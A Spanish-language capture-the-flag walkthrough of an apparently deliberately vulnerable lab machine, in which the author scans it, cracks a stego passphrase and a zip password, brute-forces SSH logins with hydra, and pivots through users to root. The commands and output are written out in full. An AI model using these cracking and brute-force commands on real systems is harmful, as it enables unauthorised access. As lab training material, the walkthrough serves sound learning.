Primero que todo verificamos conectividad con la maquina victima.
❯ping-c1172.17.0.2-RPING172.17.0.2 (172.17.0.2) 56(124) bytes of data.64bytesfrom172.17.0.2:icmp_seq=1ttl=64time=0.132msRR:172.17.0.1172.17.0.2172.17.0.2172.17.0.1---172.17.0.2pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=0.132/0.132/0.132/0.000ms
Mediante el TTL podemos intuir que estamos frente a una maquina Linux, procedemos a crear nuestras carpetas de trabajo con mkt y entramos a recognition para hacer un escaneo primario.
❯PortScanner-i172.17.0.2-t1000-s2-aVC-orecognition.txt[+] Autor: Anonymous17[+] Targeted: 172.17.0.2[+] (TTL ->64): Linux[!] Escaneo de puertos (socket):[!]Puerto22abierto![!]Puerto80abierto![+]Port:1000/1000[+] Lista de puertos abiertos: [22, 80][+] Información de servicios y versiones:[+]22/tcpsshOpenSSH6.6p1Ubuntu3ubuntu13 (Ubuntu Linux;protocol2.0)[+]80/tcphttpApachehttpd2.4.58 ((Ubuntu))[+] Comprobando vulnerabilidades:[!]SSHposiblementevulnerable:Enumeracióndeusuarios[+]TecnologíasdetectadasenHTTP:http://172.17.0.2:80 [200 OK]Apache[2.4.58],Country[RESERVED][ZZ],HTTPServer[UbuntuLinux][Apache/2.4.58 (Ubuntu)],IP[172.17.0.2],Title[Apache2UbuntuDefaultPage:Itworks],[*] Evidencia guardada en recognition.txt
Al parecer el SSH es vulnerable a enumeración de usuarios pero esta parcheado, procedemos a hacer escaneos un escaneo de vulnerabilidades básicas.
Por ahora no vemos nada interesante, así que hacemos un escaneo mas exhaustivo con nmap
Aun no vemos nada fuera de lo común, pero podemos hacer un ultimo escaneo con nmap de vulnerabilidades en el puerto 80.
El script http-enum descubrió una carpeta scripts, esta carpeta no contiene nada interesante pero seria una buena idea hacer un fuzzing mas a profundidad.
Encontramos varias cosas interesantes primero una pagina html el cual podríamos sacar una lista de usuarios o contraseñas y tambien en otra carpeta vemos una imagen que descargaremos para su posterior análisis.
Al parecer si tiene información oculta podemos usar la herramienta stegseek para romper la contraseña de seguridad.
Ahora sabiendo la contraseña podemos extraer correctamente el archivo.
Ahora nos extrajo un zip el cual tambien requiere credenciales de seguridad, en este caso podemos usar zip2john para extraer el hash y romper la contraseña con john, en mi caso como ya rompí la contraseña simplemente poniendo --show puede ver la contraseña igualmente pondré el comando que se usaría con john.
Como podemos ver la contraseña es chocolate, procedemos a descomprimir el zip.
Nos da una posible contraseña, usando Hydra podremos probar que usuario existe en ssh que tenga esta contraseña de la siguiente manera.
Usando el wordlists de xato tendríamos que tener mucha paciencia hasta que llegue a rosa, después de tener estas credenciales procedemos a logearnos por ssh y le damos un pequeño tratamiento a la TTY.
Si listamos el contenido de su home vemos un directorio un poco extraño
Dentro de ese directorio hay muchas carpetas con archivos dentro, pero hay un ejecutable que nos da una idea de que esta pasando.
Con esta información podemos deducir que existe una contraseña entre todos esos archivos, así que usando el comando find hacemos una búsqueda de la siguiente manera.
Lo que hicimos fue:
Ejecutar el comando find especificando que trabaje desde donde se ejecuta, esto lo hacemos usando el punto (.)
Con -type f limitamos la búsqueda de archivos regulares, osea no carpetas ni enlaces simbólicos.
El -exec le dice a find que ejecute un comando en cada archivo que coincida con los criterios especificados.
En este caso ejecutaremos el comando cat los {} es para indicar el nombre del archivo que find encontró, terminamos el comando con \;.
A la salida de este comando le agregamos con | el comando grep lo que hace es filtrar lo que le pasemos, en este caso, le indicamos que filtre por la letra x aunque con el signo $ le indicamos que haga todo lo contrario, osea que nos muestre las coincidencias que no tengan x.
Con este comando encontramos las credenciales de pedro, así que procedemos a escalar a pedro.
En el home de pedro tambien vemos algo interesante, hay un directorio que se llama ... procedemos a entrar en el.
En este directorio encontramos una nota oculta que nos dice que, la contraseña de juan esta en algún lado del sistema fuera del home de pedro, por lo cual recurrimos a find de nuevo e intuimos que el archivo que contiene la contraseña de juan lleva en alguna parte juan, así que procedemos a buscar.
Le acertamos, encontramos lo que parece ser un base64 pero en realidad la contraseñe es así mismo tal cual en base64.
Dentro del home de juan vemos un archivo oculto del patron, el cual pudiera ser root, la nota nos dice que dejo sus credenciales en algún lado del sistema, después de usar find y buscar en diferentes lugares, me percato de que las credenciales están dentro de los alias de juan.
Nota
Alias: Es donde podemos abreviar comandos por medio de shortcuts.
❯ nmap -sCV -p 22,80 172.17.0.2 -oN targeted.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 16:40 EST
Nmap scan report for 172.17.0.2
Host is up (0.0013s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1b:16:59:41:d2:f1:d4:cf:20:cc:ad:e0:f8:8c:ed:a2 (ECDSA)
|_ 256 72:9b:5b:79:74:e8:18:d6:0b:31:2e:99:00:01:b5:34 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.33 seconds
❯ nmap -A --script http-headers 172.17.0.2 -oX xml -oN targeted_A.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 16:44 EST
Nmap scan report for 172.17.0.2
Host is up (0.056s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
| http-headers:
| Date: Sat, 12 Oct 2024 21:45:07 GMT
| Server: Apache/2.4.58 (Ubuntu)
| Last-Modified: Sun, 16 Jun 2024 22:12:40 GMT
| ETag: "29ed-61b09259d8600"
| Accept-Ranges: bytes
| Content-Length: 10733
| Vary: Accept-Encoding
| Connection: close
| Content-Type: text/html
|
|_ (Request type: HEAD)
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 55.56 ms 172.17.0.2
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.80 seconds
❯ nmap -p 80 --script vuln 172.17.0.2 -oN webScan.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-12 16:48 EST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 172.17.0.2
Host is up (0.00043s latency).
PORT STATE SERVICE
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-enum:
|_ /scripts/: Potentially interesting directory w/ listing on 'apache/2.4.58 (ubuntu)'
MAC Address: 02:42:AC:11:00:02 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 57.23 seconds
❯ wget http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg
--2024-10-12 17:02:09-- http://172.17.0.2/spongebob/upload/ohnorecallwin.jpg
Conectando con 172.17.0.2:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 118308 (116K) [image/jpeg]
Grabando a: «ohnorecallwin.jpg»
ohnorecallwin.jpg 100%[=====================================================================================>] 115.54K --.-KB/s en 0s
2024-10-12 17:02:09 (264 MB/s) - «ohnorecallwin.jpg» guardado [118308/118308]
❯ steghide extract -sf ohnorecallwin.jpg
Anotar salvoconducto:
steghide: no pude extraer ningn dato con ese salvoconducto!
❯ ls
ohnorecallwin.jpg
❯ stegseek ohnorecallwin.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "spongebob"
[i] Original filename: "seguro.zip".
[i] Extracting to "ohnorecallwin.jpg.out".
❯ ls
ohnorecallwin.jpg ohnorecallwin.jpg.out
❯ steghide extract -sf ohnorecallwin.jpg
Anotar salvoconducto:
anot los datos extrados e/"seguro.zip".
❯ ls
ohnorecallwin.jpg seguro.zip
❯ unzip seguro.zip
Archive: seguro.zip
[seguro.zip] secreto.txt password:
skipping: secreto.txt incorrect password
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)
❯ cat hash
seguro.zip/secreto.txt:$pkzip$1*2*2*0*17*b*3df4da21*0*45*0*17*8387*6d1b6f2cba11e9e1ed8057c3d2d3cf6b9d9a38d8c0fa62*$/pkzip$:secreto.txt:seguro.zip::seguro.zip
❯ john --show hash
seguro.zip/secreto.txt:chocolate:secreto.txt:seguro.zip::seguro.zip
1 password hash cracked, 0 left
❯ unzip seguro.zip
Archive: seguro.zip
[seguro.zip] secreto.txt password:
extracting: secreto.txt
❯ ll
.rw-r--r-- root root 158 B Sat Oct 12 17:09:44 2024 hash
.rw-r--r-- root root 116 KB Sun Jun 16 16:47:57 2024 ohnorecallwin.jpg
.rw-r--r-- root root 11 B Thu Jun 13 14:28:13 2024 secreto.txt
.rw-r--r-- root root 211 B Sat Oct 12 17:07:16 2024 seguro.zip
❯ bat secreto.txt
───────┬────────────────────────────────────────────────────────────────
│ File: secreto.txt
───────┼────────────────────────────────────────────────────────────────
1 │ aprendemos
───────┴────────────────────────────────────────────────────────────────
❯ hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p aprendemos ssh://172.17.0.2 -t 4 -f -V
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-10-12 18:27:33
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455 login tries (l:8295455/p:1), ~2073864 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[ATTEMPT] target 172.17.0.2 - login "info" - pass "aprendemos" - 1 of 8295455 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "admin" - pass "aprendemos" - 2 of 8295455 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "2000" - pass "aprendemos" - 3 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "michael" - pass "aprendemos" - 4 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "NULL" - pass "aprendemos" - 5 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "john" - pass "aprendemos" - 6 of 8295455 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "david" - pass "aprendemos" - 7 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "robert" - pass "aprendemos" - 8 of 8295455 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "chris" - pass "aprendemos" - 9 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "mike" - pass "aprendemos" - 10 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "dave" - pass "aprendemos" - 11 of 8295455 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "richard" - pass "aprendemos" - 12 of 8295455 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "123456" - pass "aprendemos" - 13 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "thomas" - pass "aprendemos" - 14 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "steve" - pass "aprendemos" - 15 of 8295455 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "mark" - pass "aprendemos" - 16 of 8295455 [child 0] (0/0)
[ATTEMPT] target 172.17.0.2 - login "andrew" - pass "aprendemos" - 17 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "daniel" - pass "aprendemos" - 18 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "george" - pass "aprendemos" - 19 of 8295455 [child 1] (0/0)
[ATTEMPT] target 172.17.0.2 - login "paul" - pass "aprendemos" - 20 of 8295455 [child 2] (0/0)
[ATTEMPT] target 172.17.0.2 - login "rosa" - pass "aprendemos" - 21 of 8295455 [child 3] (0/0)
[ATTEMPT] target 172.17.0.2 - login "charlie" - pass "aprendemos" - 22 of 8295455 [child 0] (0/0)
[22][ssh] host: 172.17.0.2 login: rosa password: aprendemos
[STATUS] attack finished for 172.17.0.2 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-10-12 18:27:49
❯ ssh rosa@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:EyLqCyl988mYr3jbx8clCLi6XDpopxXvN9M3h92Wd/0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
rosa@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.9.7-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Fri Jun 21 02:05:23 2024 from 172.17.0.1
rosa@1ae02cb45cf7:~$ stty rows 46 cols 168 && export TERM=xterm-256color SHELL=bash && source /etc/skel/.bashrc
rosa@1ae02cb45cf7:~$
rosa@1ae02cb45cf7:~$ ls -la
total 12
drwxrwxr-x 1 rosa rosa 1748 Jun 17 08:25 -
drwxr-x--- 1 rosa rosa 80 Jun 21 02:05 .
drwxr-xr-x 1 root root 38 Jun 17 08:22 ..
-rw-r--r-- 1 rosa rosa 220 Jun 17 08:21 .bash_logout
-rw-r--r-- 1 rosa rosa 3771 Jun 17 08:21 .bashrc
drwx------ 1 rosa rosa 40 Jun 21 02:05 .cache
drwxrwxr-x 1 rosa rosa 10 Jun 17 08:25 .local
-rw-r--r-- 1 rosa rosa 807 Jun 17 08:21 .profile
rosa@1ae02cb45cf7:~$ cd ./-
rosa@1ae02cb45cf7:~/-$ ls
buscaelpass1 buscaelpass16 buscaelpass22 buscaelpass29 buscaelpass35 buscaelpass41 buscaelpass48 buscaelpass54 buscaelpass60 buscaelpass67
buscaelpass10 buscaelpass17 buscaelpass23 buscaelpass3 buscaelpass36 buscaelpass42 buscaelpass49 buscaelpass55 buscaelpass61 buscaelpass7
buscaelpass11 buscaelpass18 buscaelpass24 buscaelpass30 buscaelpass37 buscaelpass43 buscaelpass5 buscaelpass56 buscaelpass62 buscaelpass8
buscaelpass12 buscaelpass19 buscaelpass25 buscaelpass31 buscaelpass38 buscaelpass44 buscaelpass50 buscaelpass57 buscaelpass63 buscaelpass9
buscaelpass13 buscaelpass2 buscaelpass26 buscaelpass32 buscaelpass39 buscaelpass45 buscaelpass51 buscaelpass58 buscaelpass64 creararch.sh
buscaelpass14 buscaelpass20 buscaelpass27 buscaelpass33 buscaelpass4 buscaelpass46 buscaelpass52 buscaelpass59 buscaelpass65
buscaelpass15 buscaelpass21 buscaelpass28 buscaelpass34 buscaelpass40 buscaelpass47 buscaelpass53 buscaelpass6 buscaelpass66
rosa@1ae02cb45cf7:~/-$ cat creararch.sh
#!/bin/bash
# Buscamos directorios que empiezan con "busca"
for directorio in busca*; do
# Comprobamos si el directorio existe
if [ -d "$directorio" ]; then
# Crearmos 50 archivos y les metemos el contenido xx
for i in {1..50}; do
touch "$directorio/archivo$i" && echo "xxxxxx:xxxxxx" >$directorio/archivo$i
done
echo "Se crearon 50 archivos en $directorio"
else
echo "El directorio $directorio no existe"
fi
done
rosa@1ae02cb45cf7:~/-$
rosa@1ae02cb45cf7:~/-$ find . -type f -exec cat {} \; | grep -v x$
pedro:ell0c0
#!/bin/bash
# Buscamos directorios que empiezan con "busca"
for directorio in busca*; do
# Comprobamos si el directorio existe
if [ -d "$directorio" ]; then
for i in {1..50}; do
touch "$directorio/archivo$i" && echo "xxxxxx:xxxxxx" >$directorio/archivo$i
done
echo "Se crearon 50 archivos en $directorio"
else
echo "El directorio $directorio no existe"
fi
done
rosa@1ae02cb45cf7:~/-$ su pedro
Password:
pedro@1ae02cb45cf7:/home/rosa/-$ cd
pedro@1ae02cb45cf7:~$ ls
pedro@1ae02cb45cf7:~$ ls -la
total 16
drwxr-x--- 1 pedro pedro 110 Oct 13 10:14 .
drwxr-xr-x 1 root root 38 Jun 17 08:22 ..
drwxrwxr-x 1 pedro pedro 20 Jun 17 08:34 ...
-rw------- 1 pedro pedro 8 Oct 13 10:14 .bash_history
-rw-r--r-- 1 pedro pedro 220 Jun 17 08:22 .bash_logout
-rw-r--r-- 1 pedro pedro 3771 Jun 17 08:22 .bashrc
drwx------ 1 pedro pedro 40 Jun 18 03:31 .cache
drwxrwxr-x 1 pedro pedro 10 Jun 17 08:33 .local
-rw-r--r-- 1 pedro pedro 807 Jun 17 08:22 .profile
pedro@1ae02cb45cf7:~$
pedro@1ae02cb45cf7:~$ cd .../
pedro@1ae02cb45cf7:~/...$ ls
pedro@1ae02cb45cf7:~/...$ ls -la
total 4
drwxrwxr-x 1 pedro pedro 20 Jun 17 08:34 .
drwxr-x--- 1 pedro pedro 110 Oct 13 10:14 ..
-rw-rw-r-- 1 pedro pedro 91 Jun 17 08:34 .misecreto
pedro@1ae02cb45cf7:~/...$ cat .misecreto
Consegui el pass de juan y lo tengo escondido en algun lugar del sistema fuera de mi home.
pedro@1ae02cb45cf7:~/...$
pedro@1ae02cb45cf7:~$ cd /
pedro@1ae02cb45cf7:/$ find / -name "*juan*" -type f 2> /dev/null
/usr/share/zoneinfo/America/Tijuana
/var/mail/.pass_juan
pedro@1ae02cb45cf7:/$ cat /var/mail/.pass_juan
ZWxwcmVzaW9uZXMK
pedro@1ae02cb45cf7:/$
pedro@1ae02cb45cf7:/$ su juan
Password:
juan@1ae02cb45cf7:/$ cd
juan@1ae02cb45cf7:~$ ls
juan@1ae02cb45cf7:~$ ls -la
total 16
drwxr-x--- 1 juan juan 96 Jun 17 09:02 .
drwxr-xr-x 1 root root 38 Jun 17 08:22 ..
-rw-r--r-- 1 juan juan 220 Jun 17 08:22 .bash_logout
-rw-r--r-- 1 juan juan 3791 Jun 17 08:42 .bashrc
drwxrwxr-x 1 juan juan 10 Jun 17 08:41 .local
-rw-rw-r-- 1 juan juan 112 Jun 17 08:45 .ordenes_nuevas
-rw-r--r-- 1 juan juan 807 Jun 17 08:22 .profile
juan@1ae02cb45cf7:~$ cat .ordenes_nuevas
Hola soy tu patron y me canse y me fui a casa te dejo mi pass en un lugar a mano consiguelo y acaba el trabajo.
juan@1ae02cb45cf7:~$
juan@1ae02cb45cf7:~$ alias
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
alias ls='ls --color=auto'
alias pass='eljefe'
juan@1ae02cb45cf7:~$ su root
Password:
root@1ae02cb45cf7:/home/juan# cd
root@1ae02cb45cf7:~# whoami
root
root@1ae02cb45cf7:~#